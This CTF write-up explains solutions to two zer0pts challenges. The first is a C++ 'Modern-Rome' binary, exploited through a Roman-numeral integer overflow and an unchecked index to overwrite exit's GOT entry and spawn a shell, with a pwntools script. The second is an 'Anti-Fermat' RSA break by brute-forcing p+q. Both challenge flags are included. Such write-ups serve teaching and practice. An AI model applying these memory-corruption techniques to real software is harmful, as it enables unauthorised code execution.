For this CTF, I managed to solve two challenges only. I hope I can do better in the next CTF.
Pwn
Modern-Rome
We were given a binary compiled from cpp file. Below is the cpp file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
#include <string>
#include <iostream>
short buf[10];
void win() {
std::system("/bin/sh");
}
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
int main() {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
|
Checksec result
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
From the given file, some notes that we can take:
- No PIE, so we don’t need to look for the base address of the binary.
- There is
win function, which clearly our goal is to call this function.
buf is array of short (2 bytes), which is located in the .data segment (precisely at 0x404340).- The program is receiving a roman number, which will convert it to integer.
- We can set
buf[index] = value, where we control the index and value.
- There isn’t boundary check for the index
At a glance, seems like there isn’t anything wrong with the code. But there is a subtle bug on there. See the roman conversion method below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
|
The first idea is of course to overflow the res variable. In order to do that, we need to be able to send Roman value larger than $32767$. However, it seems like impossible to do that, because seems like the maximum value that can be returned by the readroman function is $9999$.
In C, string is ended with \0, which mean during iterating string “IXCM” with auto, \0 will be iterated also, henc the maximum value that can be returned by the method is not $9999$, but $99999$, which is enough to overflow the res variable.
My solution is to overwrite the GOT value of exit by win address. The exit GOT location is at 0x404058, which mean to overwrite it, we will need to assign the win address value to buf[(0x404340 - 0x404058) // 2] (Need to divide it by $2$ because buf is array of short type element). Also another note is that, we only need to overwrite the last two-bytes of the exit GOT value (because the third lsb is already the same, which is 0x40)
Below is the solver:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
from pwn import p64, u64, p32, u32
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
offset = b'\x00'*6+b'M'*5+b'C'*1+b'X'*6+b'I'*4
win = b'M'*4+b'C'*8+b'X'*5+b'I'*4
r = remote('pwn1.ctf.zer0pts.com', 9000)
r.sendlineafter(b'ind: ', offset)
r.sendlineafter(b'val: ', win)
r.interactive()
|
Flag: zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}
Crypto
Anti-Fermat
Below is the source code of the chall:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag
# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537
# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)
print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))
|
Through observations, we can see that $p+q$ value is actually bruteforce-able. If we see on how $q$ is generated, $q$ is basically we flip $p$ bits and increase it until it is a prime. So,
$$
p + q = (1 « 1024) + x
$$
where $x$ is small. Notes that we can get the $\varphi(n)$ value if we know $p+q$. See below equation:
$$
\begin{align}
\varphi(n) &= (p-1)*(q-1)\\
&= pq - (p+q) + 1\\
\end{align}
$$
To solve this chall, we just need to bruteforce $p+q$ based on first equation, and then try to decrypt the $c$ with the calculated $\varphi(n)$. Below is my solver (I use sagemath).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from Crypto.Util.number import *
e = 65537
n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751
c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62
base = 1<<1024
# Bruteforce p+q value
for i in range(0, 10000000, 1):
print(f'Curr x: {i}')
phi = n - (base+i) + 1
d = inverse_mod(e, phi)
flag = long_to_bytes(int(pow(c, d, n)))
if b'pts' in flag:
print(f'Flag: {flag.decode()}')
exit()
|
Flag: zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}